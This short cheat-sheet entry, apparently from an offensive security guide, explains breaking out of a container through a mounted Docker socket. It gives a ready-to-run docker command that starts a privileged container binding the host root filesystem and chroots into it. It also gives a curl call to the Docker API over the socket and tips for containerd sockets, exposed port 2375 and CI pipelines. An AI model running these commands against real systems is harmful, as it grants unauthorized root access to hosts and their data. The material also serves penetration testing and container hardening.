Container breakout through a mounted docker socket
Access to the Docker socket is root on the host. Launch a container that binds the host filesystem and chroot in.
bash
docker -H unix:///var/run/docker.sock run -v /:/host -it --privileged alpine chroot /host sh
No docker client in the container? Talk to the API directly.
bash
curl -s --unix-socket /var/run/docker.sock http://x/containers/json
# then create/start a container with HostConfig.Binds ["/:/host"]
Pro note: the same applies to a reachable containerd or CRI socket, and to Docker exposed on 2375/tcp. In CI systems, a build step with the socket mounted is a common path from a poisoned pipeline to the host. Look for the socket in mounts and environment first.